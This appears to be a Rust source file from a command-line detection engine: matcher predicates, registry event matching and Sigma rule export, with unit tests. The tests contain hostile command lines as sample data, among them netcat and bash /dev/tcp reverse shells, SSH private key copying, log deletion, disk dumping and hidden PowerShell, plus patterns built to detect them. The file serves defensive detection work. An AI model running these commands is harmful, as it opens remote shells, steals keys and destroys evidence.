use std::collections::HashMap;
use serde::Deserialize;
use crate::parser::Command;
#[derive(Debug, Clone, Default, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Matcher {
#[serde(default)]
pub program: Option<ProgramMatch>,
#[serde(default)]
pub args: Option<ArgPred>,
#[serde(default)]
pub line: Option<LinePred>,
#[serde(default)]
pub event: Option<EventMatch>,
}
#[derive(Debug, Clone, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct EventMatch {
pub class: String,
pub field: String,
#[serde(default)]
pub contains: Option<String>,
#[serde(default)]
pub eq: Option<String>,
}
impl EventMatch {
pub fn validate(&self) -> Result<(), String> {
match (self.contains.as_deref(), self.eq.as_deref()) {
(Some(_), Some(_)) => Err("event match sets both `contains` and `eq`".into()),
(None, None) => Err("event match sets neither `contains` nor `eq`".into()),
(Some(""), None) | (None, Some("")) => Err("event match predicate is empty".into()),
_ => Ok(()),
}
}
fn eval(&self, class: &str, fields: &HashMap<String, String>) -> bool {
if !self.class.eq_ignore_ascii_case(class) {
return false;
}
let Some(val) = fields.get(&self.field) else {
return false;
};
match (self.contains.as_deref(), self.eq.as_deref()) {
(Some(needle), None) if !needle.is_empty() => {
val.to_lowercase().contains(&needle.to_lowercase())
}
(None, Some(exact)) if !exact.is_empty() => val.eq_ignore_ascii_case(exact),
_ => false,
}
}
}
#[derive(Debug, Clone, Deserialize)]
#[serde(untagged)]
pub enum ProgramMatch {
Exact(String),
AnyOf { any: Vec<String> },
}
#[derive(Debug, Clone, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum ArgPred {
All(Vec<ArgPred>),
Any(Vec<ArgPred>),
Not(Box<ArgPred>),
Flag(String),
Eq(String),
Contains(String),
Prefix(String),
Suffix(String),
Word(String),
PathUnder(String),
At(PosMatch),
Joined(StrLeaf),
Regex(Re),
}
#[derive(Debug, Clone, Deserialize)]
pub struct PosMatch {
pub index: usize,
pub value: StrLeaf,
}
#[derive(Debug, Clone, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum LinePred {
All(Vec<LinePred>),
Any(Vec<LinePred>),
Not(Box<LinePred>),
Contains(String),
Word(String),
Prefix(String),
Suffix(String),
Regex(Re),
}
#[derive(Debug, Clone, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum StrLeaf {
Eq(String),
Contains(String),
Prefix(String),
Suffix(String),
Word(String),
Regex(Re),
}
#[derive(Debug, Clone)]
pub struct Re {
src: String,
re: regex::Regex,
}
impl Re {
fn is_match(&self, value: &str) -> bool {
self.re.is_match(value)
}
pub fn as_str(&self) -> &str {
&self.src
}
}
impl<'de> Deserialize<'de> for Re {
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
where
D: serde::Deserializer<'de>,
{
let src = String::deserialize(deserializer)?;
let re = regex::RegexBuilder::new(&src)
.case_insensitive(true)
.build()
.map_err(serde::de::Error::custom)?;
Ok(Re { src, re })
}
}
impl Matcher {
pub fn evaluate_event(&self, class: &str, fields: &HashMap<String, String>) -> bool {
self.event.as_ref().is_some_and(|e| e.eval(class, fields))
}
pub fn evaluate(&self, commands: &[Command], raw: &str) -> Option<Option<Command>> {
if self.program.is_some() {
commands
.iter()
.find(|c| self.matches_command(c, raw))
.cloned()
.map(Some)
} else {
let line = self.line.as_ref()?;
line.eval(raw).then(|| commands.first().cloned())
}
}
fn matches_command(&self, cmd: &Command, raw: &str) -> bool {
if let Some(p) = &self.program
&& !p.matches(&cmd.program)
{
return false;
}
if let Some(a) = &self.args
&& !a.eval(&cmd.args)
{
return false;
}
if let Some(l) = &self.line
&& !l.eval(raw)
{
return false;
}
true
}
}
impl ProgramMatch {
fn matches(&self, program: &str) -> bool {
match self {
ProgramMatch::Exact(p) => program.eq_ignore_ascii_case(p),
ProgramMatch::AnyOf { any } => any.iter().any(|p| program.eq_ignore_ascii_case(p)),
}
}
}
impl ArgPred {
fn eval(&self, args: &[String]) -> bool {
match self {
ArgPred::All(v) => v.iter().all(|p| p.eval(args)),
ArgPred::Any(v) => v.iter().any(|p| p.eval(args)),
ArgPred::Not(p) => !p.eval(args),
ArgPred::Flag(f) => args.iter().any(|a| a.eq_ignore_ascii_case(f)),
ArgPred::Eq(s) => args.iter().any(|a| a.eq_ignore_ascii_case(s)),
ArgPred::Contains(s) => args.iter().any(|a| contains_ci(a, s)),
ArgPred::Prefix(s) => args.iter().any(|a| starts_with_ci(a, s)),
ArgPred::Suffix(s) => args.iter().any(|a| ends_with_ci(a, s)),
ArgPred::Word(s) => args.iter().any(|a| word_match(a, s)),
ArgPred::PathUnder(base) => args.iter().any(|a| path_under(a, base)),
ArgPred::At(pos) => args.get(pos.index).is_some_and(|a| pos.value.eval(a)),
ArgPred::Joined(leaf) => leaf.eval(&args.join(" ")),
ArgPred::Regex(re) => args.iter().any(|a| re.is_match(a)),
}
}
fn has_regex(&self) -> bool {
match self {
ArgPred::All(v) | ArgPred::Any(v) => v.iter().any(ArgPred::has_regex),
ArgPred::Not(p) => p.has_regex(),
ArgPred::At(pos) => pos.value.is_regex(),
ArgPred::Joined(leaf) => leaf.is_regex(),
ArgPred::Regex(_) => true,
_ => false,
}
}
}
impl LinePred {
fn eval(&self, line: &str) -> bool {
match self {
LinePred::All(v) => v.iter().all(|p| p.eval(line)),
LinePred::Any(v) => v.iter().any(|p| p.eval(line)),
LinePred::Not(p) => !p.eval(line),
LinePred::Contains(s) => contains_ci(line, s),
LinePred::Word(s) => word_match(line, s),
LinePred::Prefix(s) => starts_with_ci(line, s),
LinePred::Suffix(s) => ends_with_ci(line, s),
LinePred::Regex(re) => re.is_match(line),
}
}
fn has_regex(&self) -> bool {
match self {
LinePred::All(v) | LinePred::Any(v) => v.iter().any(LinePred::has_regex),
LinePred::Not(p) => p.has_regex(),
LinePred::Regex(_) => true,
_ => false,
}
}
}
impl StrLeaf {
fn eval(&self, value: &str) -> bool {
match self {
StrLeaf::Eq(s) => value.eq_ignore_ascii_case(s),
StrLeaf::Contains(s) => contains_ci(value, s),
StrLeaf::Prefix(s) => starts_with_ci(value, s),
StrLeaf::Suffix(s) => ends_with_ci(value, s),
StrLeaf::Word(s) => word_match(value, s),
StrLeaf::Regex(re) => re.is_match(value),
}
}
fn is_regex(&self) -> bool {
matches!(self, StrLeaf::Regex(_))
}
}
fn contains_ci(haystack: &str, needle: &str) -> bool {
haystack.to_lowercase().contains(&needle.to_lowercase())
}
fn starts_with_ci(haystack: &str, needle: &str) -> bool {
haystack.to_lowercase().starts_with(&needle.to_lowercase())
}
fn ends_with_ci(haystack: &str, needle: &str) -> bool {
haystack.to_lowercase().ends_with(&needle.to_lowercase())
}
fn word_match(haystack: &str, needle: &str) -> bool {
if needle.is_empty() {
return false;
}
let h = haystack.to_lowercase();
let n = needle.to_lowercase();
let hb = h.as_bytes();
let is_word = |b: u8| b.is_ascii_alphanumeric() || b == b'_';
let mut from = 0;
while let Some(rel) = h[from..].find(&n) {
let i = from + rel;
let before_ok = i == 0 || !is_word(hb[i - 1]);
let after = i + n.len();
let after_ok = after >= hb.len() || !is_word(hb[after]);
if before_ok && after_ok {
return true;
}
from = i + 1;
}
false
}
fn path_under(arg: &str, base: &str) -> bool {
let a = arg.to_lowercase();
let b = base.to_lowercase();
let a = a.trim_end_matches('/');
let b = b.trim_end_matches('/');
if b.is_empty() {
return false;
}
a == b || a.starts_with(&format!("{b}/"))
}
impl Matcher {
pub fn sigma_selection(&self) -> SigmaSelection {
let mut sel = SigmaSelection::default();
match &self.program {
Some(ProgramMatch::Exact(p)) => sel.image_endswith.push(p.clone()),
Some(ProgramMatch::AnyOf { any }) => sel.image_endswith.extend(any.iter().cloned()),
None => {}
}
if let Some(a) = &self.args {
lower_arg_selection(a, &mut sel);
}
if let Some(l) = &self.line {
lower_line_selection(l, &mut sel);
}
if !sel.contains_all.is_empty() && !sel.contains_any.is_empty() {
sel.simplified = true;
}
sel
}
pub fn has_regex(&self) -> bool {
self.args.as_ref().is_some_and(ArgPred::has_regex)
|| self.line.as_ref().is_some_and(LinePred::has_regex)
}
pub fn representative_line(&self) -> Option<String> {
let mut parts: Vec<String> = Vec::new();
if let Some(prog) = self.program_representative() {
parts.push(prog);
}
if let Some(a) = &self.args {
parts.extend(representative_args(a));
}
if let Some(l) = &self.line {
collect_line_terms(l, &mut parts);
}
let line = parts.join(" ");
let line = line.trim();
(!line.is_empty()).then(|| line.to_string())
}
fn program_representative(&self) -> Option<String> {
match &self.program {
Some(ProgramMatch::Exact(p)) => Some(p.clone()),
Some(ProgramMatch::AnyOf { any }) => any.first().cloned(),
None => None,
}
}
}
const ARG_FILLER: &str = "_";
fn representative_args(pred: &ArgPred) -> Vec<String> {
let mut positional: Vec<(usize, String)> = Vec::new();
let mut floating: Vec<String> = Vec::new();
collect_arg_repr(pred, &mut positional, &mut floating);
let size = positional.iter().map(|(i, _)| i + 1).max().unwrap_or(0);
let mut slots: Vec<Option<String>> = vec![None; size];
for (i, lit) in positional {
slots[i] = Some(lit); }
let mut floating = floating.into_iter();
let mut out: Vec<String> = slots
.into_iter()
.map(|slot| {
slot.or_else(|| floating.next())
.unwrap_or_else(|| ARG_FILLER.to_string())
})
.collect();
out.extend(floating); out
}
fn collect_arg_repr(
pred: &ArgPred,
positional: &mut Vec<(usize, String)>,
floating: &mut Vec<String>,
) {
match pred {
ArgPred::All(v) => v
.iter()
.for_each(|p| collect_arg_repr(p, positional, floating)),
ArgPred::Any(v) => {
if let Some(first) = v.first() {
collect_arg_repr(first, positional, floating);
}
}
ArgPred::Not(_) => {}
ArgPred::Flag(s)
| ArgPred::Eq(s)
| ArgPred::Contains(s)
| ArgPred::Prefix(s)
| ArgPred::Suffix(s)
| ArgPred::Word(s)
| ArgPred::PathUnder(s) => floating.push(s.clone()),
ArgPred::At(pos) => {
if let Some(lit) = str_leaf_literal(&pos.value) {
positional.push((pos.index, lit));
}
}
ArgPred::Joined(leaf) => {
if let Some(lit) = str_leaf_literal(leaf) {
floating.push(lit);
}
}
ArgPred::Regex(_) => {}
}
}
#[derive(Debug, Default)]
pub struct SigmaSelection {
pub image_endswith: Vec<String>,
pub contains_all: Vec<String>,
pub contains_any: Vec<String>,
pub regexes: Vec<String>,
pub simplified: bool,
}
fn add_or_group(sel: &mut SigmaSelection, lits: Vec<String>) {
if sel.contains_any.is_empty() {
sel.contains_any = lits;
} else {
sel.simplified = true;
}
}
fn lower_arg_selection(pred: &ArgPred, sel: &mut SigmaSelection) {
match pred {
ArgPred::All(v) => v.iter().for_each(|p| lower_arg_selection(p, sel)),
ArgPred::Any(v) => match arg_or_literals(v) {
Some(lits) => add_or_group(sel, lits),
None => {
sel.simplified = true;
if let Some(first) = v.first() {
lower_arg_selection(first, sel);
}
}
},
ArgPred::Not(_) => sel.simplified = true,
ArgPred::Flag(s)
| ArgPred::Eq(s)
| ArgPred::Contains(s)
| ArgPred::Prefix(s)
| ArgPred::Suffix(s)
| ArgPred::Word(s)
| ArgPred::PathUnder(s) => sel.contains_all.push(s.clone()),
ArgPred::At(PosMatch {
value: StrLeaf::Regex(re),
..
})
| ArgPred::Joined(StrLeaf::Regex(re))
| ArgPred::Regex(re) => sel.regexes.push(re.as_str().to_string()),
ArgPred::At(pos) => sel.contains_all.extend(str_leaf_literal(&pos.value)),
ArgPred::Joined(leaf) => sel.contains_all.extend(str_leaf_literal(leaf)),
}
}
fn lower_line_selection(pred: &LinePred, sel: &mut SigmaSelection) {
match pred {
LinePred::All(v) => v.iter().for_each(|p| lower_line_selection(p, sel)),
LinePred::Any(v) => match line_or_literals(v) {
Some(lits) => add_or_group(sel, lits),
None => {
sel.simplified = true;
if let Some(first) = v.first() {
lower_line_selection(first, sel);
}
}
},
LinePred::Not(_) => sel.simplified = true,
LinePred::Contains(s) | LinePred::Word(s) | LinePred::Prefix(s) | LinePred::Suffix(s) => {
sel.contains_all.push(s.clone())
}
LinePred::Regex(re) => sel.regexes.push(re.as_str().to_string()),
}
}
fn arg_or_literals(branches: &[ArgPred]) -> Option<Vec<String>> {
branches
.iter()
.map(|b| match b {
ArgPred::Flag(s)
| ArgPred::Eq(s)
| ArgPred::Contains(s)
| ArgPred::Prefix(s)
| ArgPred::Suffix(s)
| ArgPred::Word(s)
| ArgPred::PathUnder(s) => Some(s.clone()),
_ => None,
})
.collect()
}
fn line_or_literals(branches: &[LinePred]) -> Option<Vec<String>> {
branches
.iter()
.map(|b| match b {
LinePred::Contains(s)
| LinePred::Word(s)
| LinePred::Prefix(s)
| LinePred::Suffix(s) => Some(s.clone()),
_ => None,
})
.collect()
}
fn collect_line_terms(pred: &LinePred, out: &mut Vec<String>) {
match pred {
LinePred::All(v) => v.iter().for_each(|p| collect_line_terms(p, out)),
LinePred::Any(v) => {
if let Some(first) = v.first() {
collect_line_terms(first, out);
}
}
LinePred::Not(_) => {}
LinePred::Contains(s) | LinePred::Word(s) | LinePred::Prefix(s) | LinePred::Suffix(s) => {
out.push(s.clone())
}
LinePred::Regex(_) => {}
}
}
fn str_leaf_literal(leaf: &StrLeaf) -> Option<String> {
match leaf {
StrLeaf::Eq(s)
| StrLeaf::Contains(s)
| StrLeaf::Prefix(s)
| StrLeaf::Suffix(s)
| StrLeaf::Word(s) => Some(s.clone()),
StrLeaf::Regex(_) => None,
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::parser::parse_line;
fn m(json: &str) -> Matcher {
serde_json::from_str(json).expect("matcher parses")
}
fn matches(matcher: &Matcher, line: &str) -> bool {
let commands = parse_line(line);
matcher.evaluate(&commands, line.trim()).is_some()
}
#[test]
fn program_exact_and_any_of() {
let exact = m(r#"{ "program": "curl" }"#);
assert!(matches(&exact, "curl http://x/y"));
assert!(!matches(&exact, "wget http://x/y"));
assert!(matches(&exact, "sudo /usr/bin/CURL http://x"));
let set = m(r#"{ "program": { "any": ["nc", "ncat"] } }"#);
assert!(matches(&set, "nc -e /bin/sh 10.0.0.1 4444"));
assert!(matches(&set, "ncat 10.0.0.1 4444"));
assert!(!matches(&set, "socat - tcp:10.0.0.1:4444"));
}
#[test]
fn flags_and_alternation() {
let rev = m(r#"{
"program": { "any": ["nc", "ncat"] },
"args": { "all": [
{ "flag": "-e" },
{ "any": [ {"eq": "/bin/sh"}, {"eq": "/bin/bash"} ] }
] }
}"#);
assert!(matches(&rev, "nc -e /bin/sh 10.0.0.1 4444"));
assert!(matches(&rev, "ncat -e /bin/bash 1.2.3.4 9001"));
assert!(!matches(&rev, "nc /bin/sh 10.0.0.1 4444"));
assert!(!matches(&rev, "nc -e /bin/zsh 10.0.0.1 4444"));
}
#[test]
fn negation_of_a_flag() {
let pred = m(r#"{ "program": "tar", "args": { "all": [
{ "flag": "-c" }, { "not": { "flag": "-t" } }
] } }"#);
assert!(matches(&pred, "tar -c -f out.tar /etc"));
assert!(!matches(&pred, "tar -c -t -f out.tar"));
}
#[test]
fn path_under_is_segment_aware() {
let clear = m(r#"{ "program": "rm", "args": { "path_under": "/var/log" } }"#);
assert!(matches(&clear, "rm -rf /var/log/nginx"));
assert!(matches(&clear, "rm -rf /var/log")); assert!(!matches(&clear, "rm -rf /var/logistics"));
assert!(!matches(&clear, "cd /var/log && rm -rf target/debug"));
}
#[test]
fn word_boundary_kills_substring_fp() {
let key = m(r#"{ "line": { "word": "id_rsa" } }"#);
assert!(matches(&key, "cp ~/.ssh/id_rsa /tmp/k"));
assert!(matches(&key, "cat id_rsa")); assert!(!matches(&key, "vim id_rsa_backup_notes.txt"));
}
#[test]
fn positional_argument() {
let pred = m(r#"{ "program": "dd", "args": {
"at": { "index": 0, "value": { "prefix": "if=/dev/" } }
} }"#);
assert!(matches(&pred, "dd if=/dev/sda of=/tmp/disk.img"));
assert!(!matches(&pred, "dd of=/tmp/x if=/dev/sda")); }
#[test]
fn line_predicate_contains() {
let rev = m(r#"{ "line": { "contains": "/dev/tcp" } }"#);
assert!(matches(&rev, "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"));
assert!(!matches(&rev, "echo hello"));
}
#[test]
fn representative_round_trips_through_the_engine() {
for json in [
r#"{ "program": "curl" }"#,
r#"{ "program": "rm", "args": { "path_under": "/var/log" } }"#,
r#"{ "program": { "any": ["nc", "ncat"] }, "args": { "all": [
{ "flag": "-e" }, { "any": [ {"eq": "/bin/sh"} ] } ] } }"#,
r#"{ "line": { "contains": "/dev/tcp" } }"#,
r#"{ "line": { "word": "id_rsa" } }"#,
r#"{ "program": "x", "args": { "all": [
{ "at": { "index": 2, "value": { "eq": "foo" } } },
{ "flag": "-z" } ] } }"#,
] {
let matcher = m(json);
let repr = matcher
.representative_line()
.unwrap_or_else(|| panic!("no representative for {json}"));
assert!(
matches(&matcher, &repr),
"representative `{repr}` did not match its own matcher {json}",
);
}
}
#[test]
fn event_axis_matches_class_and_field() {
let reg = m(
r#"{ "event": { "class": "registry", "field": "TargetObject", "contains": "\\Run" } }"#,
);
let mut fields = HashMap::new();
fields.insert(
"TargetObject".to_string(),
"HKLM\\...\\CurrentVersion\\Run\\x".to_string(),
);
assert!(reg.evaluate_event("registry", &fields));
assert!(!reg.evaluate_event("file", &fields)); assert!(!reg.evaluate_event("registry", &HashMap::new())); assert!(!m(r#"{ "program": "reg" }"#).evaluate_event("registry", &fields));
assert!(reg.evaluate(&[], "reg add HKLM").is_none());
}
#[test]
fn event_match_rejects_empty_or_ambiguous_predicate() {
let ev = |json: &str| m(json).event.expect("has event");
assert!(
ev(r#"{ "event": { "class": "registry", "field": "T", "contains": "x" } }"#)
.validate()
.is_ok()
);
assert!(
ev(r#"{ "event": { "class": "registry", "field": "T", "contains": "x", "eq": "y" } }"#)
.validate()
.is_err()
);
assert!(
ev(r#"{ "event": { "class": "registry", "field": "T" } }"#)
.validate()
.is_err()
);
let empty = m(r#"{ "event": { "class": "registry", "field": "T", "contains": "" } }"#);
assert!(empty.event.as_ref().unwrap().validate().is_err());
let mut fields = HashMap::new();
fields.insert("T".to_string(), "anything".to_string());
assert!(!empty.evaluate_event("registry", &fields));
}
#[test]
fn sigma_selection_program_and_anded_terms() {
let matcher = m(r#"{ "program": "x", "args": { "contains": "aaa" },
"line": { "contains": "bbb" } }"#);
let sel = matcher.sigma_selection();
assert_eq!(sel.image_endswith, vec!["x"]);
assert_eq!(sel.contains_all, vec!["aaa", "bbb"]);
assert!(sel.contains_any.is_empty() && !sel.simplified);
}
#[test]
fn sigma_selection_lowers_alternation_to_or_groups() {
let matcher = m(r#"{ "program": { "any": ["net", "net1"] },
"line": { "any": [ {"contains": "a"}, {"contains": "b"} ] } }"#);
let sel = matcher.sigma_selection();
assert_eq!(sel.image_endswith, vec!["net", "net1"]);
assert_eq!(sel.contains_any, vec!["a", "b"]);
assert!(sel.contains_all.is_empty() && !sel.simplified);
}
#[test]
fn unknown_field_is_rejected() {
let err = serde_json::from_str::<Matcher>(r#"{ "programm": "curl" }"#);
assert!(err.is_err());
}
#[test]
fn regex_leaf_on_line_and_args() {
let line = m(r#"{ "line": { "regex": "-w\\s+(hidden|1)\\b" } }"#);
assert!(matches(&line, "powershell -w hidden -enc AA=="));
assert!(matches(&line, "powershell -W HIDDEN")); assert!(matches(&line, "powershell -w 1"));
assert!(!matches(&line, "echo -w hiddenish"));
let args = m(r#"{ "program": "dd", "args": { "regex": "^if=/dev/sd[a-z]$" } }"#);
assert!(matches(&args, "dd if=/dev/sda of=/tmp/x"));
assert!(!matches(&args, "dd if=/tmp/file of=/dev/null"));
}
#[test]
fn regex_composes_with_other_leaves() {
let matcher = m(r#"{ "line": { "all": [
{ "any": [ {"contains": "powershell"}, {"contains": "pwsh"} ] },
{ "regex": "-w(?:indowstyle|in|i)?\\s+hidden\\b" }
] } }"#);
assert!(matches(&matcher, "powershell -windowstyle hidden"));
assert!(matches(&matcher, "cmd /c pwsh -w hidden"));
assert!(!matches(&matcher, "cmd /c echo -w hidden")); assert!(matcher.has_regex());
}
#[test]
fn invalid_regex_is_a_load_time_error() {
let err = serde_json::from_str::<Matcher>(r#"{ "line": { "regex": "-w(" } }"#);
assert!(err.is_err());
}
#[test]
fn sigma_selection_surfaces_regexes_and_contains() {
let matcher = m(r#"{ "line": { "all": [
{ "contains": "powershell" }, { "regex": "-w\\s+hidden" }
] } }"#);
let sel = matcher.sigma_selection();
assert_eq!(sel.contains_all, vec!["powershell"]);
assert_eq!(sel.regexes, vec!["-w\\s+hidden"]);
}
#[test]
fn sigma_selection_flags_unrepresentable_nesting() {
let matcher = m(r#"{ "line": { "all": [
{ "regex": "aa" },
{ "any": [ { "regex": "bb" }, { "regex": "cc" } ] },
{ "not": { "regex": "dd" } }
] } }"#);
let sel = matcher.sigma_selection();
assert_eq!(sel.regexes, vec!["aa", "bb"]);
assert!(sel.simplified);
}
#[test]
fn sigma_selection_flags_a_dropped_negation() {
let matcher = m(r#"{ "line": { "all": [
{ "word": "id_rsa" }, { "not": { "contains": "id_rsa.pub" } }
] } }"#);
let sel = matcher.sigma_selection();
assert_eq!(sel.contains_all, vec!["id_rsa"]);
assert!(sel.simplified);
}
}